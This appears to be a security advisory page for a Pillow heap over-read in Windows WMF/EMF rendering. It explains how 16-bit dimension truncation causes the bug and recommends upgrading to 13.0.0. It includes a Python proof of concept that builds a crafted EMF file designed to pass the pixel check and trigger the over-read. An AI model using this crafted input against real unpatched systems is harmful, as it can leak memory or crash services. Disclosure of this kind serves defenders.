High

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

  • Disclosed: 21.10.2026
  • Updated: 29.10.2026 12:17

The source advisory has changed since this explanation was prepared. Check the current technical data and original advisory below.

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

python
import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

What to do

Upgrade Pillow to version 13.0.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow < 13.0.0 13.0.0

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Weakness (CWE)
CWE-125
Platform
Python (PyPI)
Package
pillow
Disclosed
21.10.2026
Updated
29.10.2026 12:17

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - PYSEC-2026-4343 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9v9v-9qvf-h2hj - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
04.2014 11.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 14
  • High 63
  • Medium 27
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

earlier: 12

Severity:
  1. Critical · 9.8 CVE-2026-96639 >= 11.0.0, < 13.0.0 13.0.0
  2. Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) this entry
    High · 8.1 CVE-2026-96644 < 13.0.0 13.0.0
  3. High CVE-2026-112892 >= 4.1.0, < 13.0.0 13.0.0
  4. High CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  5. High CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  6. Critical CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  7. High · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  8. Critical · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  9. High · 7.5 CVE-2026-112397 < 13.0.0 13.0.0
  10. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  11. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  12. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  13. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  14. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  15. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  16. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  17. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  18. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  19. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  20. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  21. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  22. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  23. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  24. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  25. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  26. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  27. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  28. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  29. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  30. High · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  31. High · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  32. Critical · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  33. High · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  34. High · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  35. High · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  36. High · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  37. High · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  38. Critical · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  39. High · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
Show more (17) Showing 60 of 77

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.